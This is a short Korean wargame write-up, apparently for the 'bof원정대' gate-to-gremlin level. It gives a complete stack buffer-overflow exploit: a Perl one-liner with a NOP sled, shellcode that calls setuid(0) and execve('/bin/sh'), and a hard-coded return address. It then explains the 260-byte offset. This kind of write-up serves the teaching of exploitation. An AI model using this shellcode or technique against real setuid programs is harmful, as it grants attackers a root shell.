문제풀이/bof원정대
bof원정대 gate -> gremlin
Oth
2016. 8. 15. 14:31
해답 :
./gremlin `perl -e 'print "\x90"x199, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68", "\x18\xf9\xff\xbf"';`
해답은 크게 세 파트로 나누어집니다.
먼저 \x90 x 199 부분 , 쉘코드 부분, 그리고 주소 값을 넣는 부분입니다.
199 개의 90과 쉘코드를 더하면 딱 260개의 바이트를 소모하는 것을 알 수 있습니다.
왜냐하면 256바이트의 버퍼에 SPF (4바이트 스택 프레임을 구글링하시면 알 수 있음) 를 더한 260 바이트 바로 뒤에 리턴주소 부분이 나오기 때문입니다.
총 256개의 90을 넣어보면 0xbfff 부분 그리고 리턴 주소인 400309cb가 남아있는 것을 알 수 있습니다.